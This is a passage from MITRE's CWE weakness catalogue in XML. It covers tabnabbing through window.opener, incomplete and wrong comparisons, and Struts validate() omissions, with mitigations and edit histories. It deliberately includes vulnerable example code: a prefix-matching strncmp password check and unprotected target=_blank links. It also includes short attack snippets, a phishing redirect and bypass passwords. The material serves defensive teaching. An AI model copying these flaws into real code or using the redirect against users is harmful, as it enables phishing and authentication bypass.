					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1022" Name="Use of Web Link to Untrusted Target with window.opener Access" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The web application produces links to untrusted external sites outside of its sphere of control, but it does not properly prevent the external site from modifying  security-critical properties of the window.opener object, such as the location property.</Description>
         <Extended_Description>When a user clicks a link to an external site ("target"), the target="_blank" attribute causes the target site's contents to be opened in a new window or tab, which runs in the same process as the original page. The window.opener object records information about the original page that offered the link.  If an attacker can run script on the target page, then they could read or modify certain properties of the window.opener object, including the location property - even if the original and target site are not the same origin.  An attacker can modify the location property to automatically redirect the user to a malicious site, e.g. as part of a phishing attack. Since this redirect happens in the original window/tab - which is not necessarily visible, since the browser is focusing the display on the new target page - the user might not notice any suspicious redirection.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="266" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="JavaScript" Prevalence="Often"/>
            <Technology Class="Web Based" Prevalence="Often"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>tabnabbing</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>This weakness is introduced during the design of an application when the architect does not specify that a linked external document should not be able to alter the location of the calling page.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>This weakness is introduced during the coding of an application when the developer does not include the noopener and/or noreferrer value for the rel attribute.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Alter Execution Logic</Impact>
               <Note>The user may be redirected to an untrusted page that contains undesired content or malicious script code.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Specify in the design that any linked external document must not be granted access to the location object of the calling page.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>When creating a link to an external document using the &lt;a&gt; tag with a defined target, for example "_blank" or a named frame, provide the rel attribute with a value "noopener noreferrer".</xhtml:p>
                  <xhtml:p>If opening the external document in a new window via javascript, then reset the opener by setting it equal to null.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Do not use "_blank" targets. However, this can affect the usability of the application.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In this example, the application opens a link in a named window/tab without taking precautions to prevent the called page from tampering with the calling page's location in the browser.</Intro_Text>
               <Body_Text>There are two ways that this weakness is commonly seen. The first is when the application generates an &lt;a&gt; tag is with target="_blank" to point to a target site:</Body_Text>
               <Example_Code Nature="Bad" Language="HTML">
                  <xhtml:div>&lt;a href="http://attacker-site.example.com/useful-page.html" target="_blank"&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>If the attacker offers a useful page on this link (or compromises a trusted, popular site), then a user may click on this link.  However, the attacker could use scripting code to modify the window.opener's location property to redirect the application to a malicious, attacker-controlled page - such as one that mimics the look and feel of the original application and convinces the user to re-enter authentication credentials, i.e. phishing:</Body_Text>
               <Example_Code Nature="Attack" Language="JavaScript">
                  <xhtml:div>window.opener.location = 'http://phishing.example.org/popular-bank-page';</xhtml:div>
               </Example_Code>
               <Body_Text>To mitigate this type of weakness, some browsers support the "rel" attribute with a value of "noopener", which sets the window.opener object equal to null. Another option is to use the "rel" attribute with a value of "noreferrer", which in essence does the same thing.</Body_Text>
               <Example_Code Nature="Good" Language="HTML">
                  <xhtml:div>&lt;a href="http://attacker-site.example.com/useful-page.html" target="_blank" rel="noopener noreferrer"&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>A second way that this weakness is commonly seen is when opening a new site directly within JavaScript. In this case, a new site is opened using the window.open() function.</Body_Text>
               <Example_Code Nature="Bad" Language="JavaScript">
                  <xhtml:div>var newWindow = window.open("http://attacker-site.example.com/useful-page.html", "_blank");</xhtml:div>
               </Example_Code>
               <Body_Text>To mitigate this, set the window.opener object to null.</Body_Text>
               <Example_Code Nature="Good" Language="JavaScript">
                  <xhtml:div>var newWindow = window.open("http://attacker-site.example.com/useful-page.html", "_blank");<xhtml:br/>newWindow.opener = null;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <References>
            <Reference External_Reference_ID="REF-39"/>
            <Reference External_Reference_ID="REF-40"/>
            <Reference External_Reference_ID="REF-958"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>David Deatherage</Submission_Name>
               <Submission_Organization>Silicon Valley Bank</Submission_Organization>
               <Submission_Date>2017-09-26</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Demonstrative_Examples, Description, Modes_of_Introduction, Name, Potential_Mitigations, References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2018-03-27">Improper Restriction of Cross-Origin Permission to window.opener.location</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1023" Name="Incomplete Comparison with Missing Factors" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product performs a comparison between entities that must consider multiple factors or characteristics of each entity, but the comparison does not include one or more of these factors.</Description>
      <Extended_Description>
	An incomplete comparison can lead to resultant weaknesses, e.g., by operating on the wrong object or making a security decision without considering a required factor.
      </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="697" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Access Control</Scope>
               <Impact>Alter Execution Logic</Impact>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-115">
               <Intro_Text>Consider an application in which Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class Truck {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>private String make;<xhtml:br/>private String model;<xhtml:br/>private int year;<xhtml:br/>
                           <xhtml:br/>public boolean equals(Object o) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if (o == null) return false;<xhtml:br/>if (o == this) return true;<xhtml:br/>if (!(o instanceof Truck)) return false;<xhtml:br/>
                                 <xhtml:br/>Truck t = (Truck) o;<xhtml:br/>
                                 <xhtml:br/>return (this.make.equals(t.getMake()) &amp;&amp; this.model.equals(t.getModel()));</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Here, the equals() method only checks the make and model of the Truck objects, but the year of manufacture is not included.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-116">
               <Intro_Text>This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
                     <xhtml:i>/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>char *username = "admin";<xhtml:br/>char *pass = "password";<xhtml:br/>
                     <xhtml:br/>int AuthenticateUser(char *inUser, char *inPass) {<xhtml:div style="margin-left:1em;">if (strncmp(username, inUser, strlen(inUser))) {<xhtml:div style="margin-left:1em;">logEvent("Auth failure of username using strlen of inUser");<xhtml:br/>return(AUTH_FAIL);</xhtml:div>}<xhtml:br/>if (! strncmp(pass, inPass, strlen(inPass))) {<xhtml:div style="margin-left:1em;">logEvent("Auth success of password using strlen of inUser");<xhtml:br/>return(AUTH_SUCCESS);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">logEvent("Auth fail of password using sizeof");<xhtml:br/>return(AUTH_FAIL);</xhtml:div>}</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>int main (int argc, char **argv) {<xhtml:div style="margin-left:1em;">
					 int authResult;<xhtml:br/><xhtml:br/>if (argc &lt; 3) {<xhtml:div style="margin-left:1em;">ExitError("Usage: Provide a username and password");</xhtml:div>}<xhtml:br/>authResult = AuthenticateUser(argv[1], argv[2]);<xhtml:br/>if (authResult == AUTH_SUCCESS) {<xhtml:div style="margin-left:1em;">DoAuthenticatedTask(argv[1]);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">ExitError("Authentication failed");</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.</Body_Text>
               <Body_Text>As a result, this partial comparison leads to improper authentication (CWE-287).</Body_Text>
               <Body_Text>Any of these passwords would still cause authentication to succeed for the "admin" user:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>p<xhtml:br/>pa<xhtml:br/>pas<xhtml:br/>pass</xhtml:div>
               </Example_Code>
               <Body_Text>This significantly reduces the search space for an attacker, making brute force attacks more feasible.</Body_Text>
               <Body_Text>The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.</Body_Text>
               <Body_Text>While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-01-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1024" Name="Comparison of Incompatible Types" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product performs a comparison between two entities, but the entities are of different, incompatible types that cannot be guaranteed to provide correct results when they are directly compared.</Description>
         <Extended_Description>In languages that are strictly typed but support casting/conversion, such as C or C++, the programmer might assume that casting one entity to the same type as another entity will ensure that the comparison will be performed correctly, but this cannot be guaranteed.  In languages that are not strictly typed, such as PHP or JavaScript, there may be implicit casting/conversion to a type that the programmer is unaware of, causing unexpected results; for example, the string "123" might be converted to a number type.  See examples.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="697" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="JavaScript" Prevalence="Undetermined"/>
            <Language Name="PHP" Prevalence="Undetermined"/>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-01-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1025" Name="Comparison Using Wrong Factors" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code performs a comparison between two entities, but the comparison examines the wrong factors or characteristics of the entities, which can lead to incorrect results and resultant weaknesses.</Description>
         <Extended_Description>This can lead to incorrect results and resultant weaknesses.  For example, the code might inadvertently compare references to objects, instead of the relevant contents of those objects, causing two "equal" objects to be considered unequal.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="697" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-60">
               <Intro_Text>In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String str1 = new String("Hello");<xhtml:br/>String str2 = new String("Hello");<xhtml:br/>if (str1 == str2) {<xhtml:div style="margin-left:1em;">System.out.println("str1 == str2");</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:</Body_Text>
               <Example_Code Nature="Good">
                  <xhtml:div>if (str1.equals(str2)) {<xhtml:div style="margin-left:1em;">System.out.println("str1 equals str2");</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-01-04</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="103" Name="Struts: Incomplete validate() Method Definition" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate().</Description>
         <Extended_Description>If the code does not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>The Struts Validator uses a form's validate() method to check the contents of the form properties against the constraints specified in the associated validation form. That means the following classes have a validate() method that is part of the validation framework: ValidatorForm, ValidatorActionForm, DynaValidatorForm, and DynaValidatorActionForm. If the code creates a class that extends one of these classes, and if that class implements custom validation logic by overriding the validate() method, the code must call super.validate() in the validate() implementation.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>Disabling the validation framework for a form exposes the product to numerous types of attacks. Unchecked input is the root cause of vulnerabilities like cross-site scripting, process control, and SQL injection.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Implement the validate() method and call super.validate() within that method.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and the RegistrationForm bean in the Struts framework will maintain the user data. Tthe RegistrationForm class implements the validate method to validate the user input entered into the form.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">// private variables for registration form<xhtml:br/>private String name;<xhtml:br/>private String email;<xhtml:br/>...<xhtml:br/>
                        <xhtml:br/>public RegistrationForm() {<xhtml:div style="margin-left:1em;">super();</xhtml:div>}<xhtml:br/>
                        <xhtml:br/>public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {<xhtml:div style="margin-left:1em;">ActionErrors errors = new ActionErrors();<xhtml:br/>if (getName() == null || getName().length() &lt; 1) {<xhtml:div style="margin-left:1em;">errors.add("name", new ActionMessage("error.name.required"));</xhtml:div>}<xhtml:br/>return errors;</xhtml:div>}</xhtml:div>
                     <xhtml:br/>
                     <xhtml:div style="margin-left:1em;">// getter and setter methods for private variables<xhtml:br/>...</xhtml:div>
                     <xhtml:br/>}</xhtml:div>
               </Example_Code>
               <Body_Text>Although the validate method is implemented in this example the method does not call the validate method of the ValidatorForm parent class with a call super.validate(). Without the call to the parent validator class only the custom validation will be performed and the default validation will not be performed. The following example shows that the validate method of the ValidatorForm class is called within the implementation of the validate method.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>// private variables for registration form<xhtml:br/>private String name;<xhtml:br/>private String email;<xhtml:br/>...<xhtml:br/>
                           <xhtml:br/>public RegistrationForm() {<xhtml:div style="margin-left:1em;">super();</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {<xhtml:div style="margin-left:1em;">ActionErrors errors = super.validate(mapping, request);<xhtml:br/>if (errors == null) {<xhtml:div style="margin-left:1em;">errors = new ActionErrors();</xhtml:div>}</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>if (getName() == null || getName().length() &lt; 1) {<xhtml:div style="margin-left:1em;">errors.add("name", new ActionMessage("error.name.required"));</xhtml:div>}<xhtml:br/>return errors;</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">// getter and setter methods for private variables<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Struts: Erroneous validate() Method</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
            <Note Type="Relationship">This could introduce other weaknesses related to missing input validation.</Note>
            <Note Type="Maintenance">The current description implies a loose composite of two separate weaknesses, so this node might need to be split or converted into a low-level category.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Background_Details, Common_Consequences, Description, Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
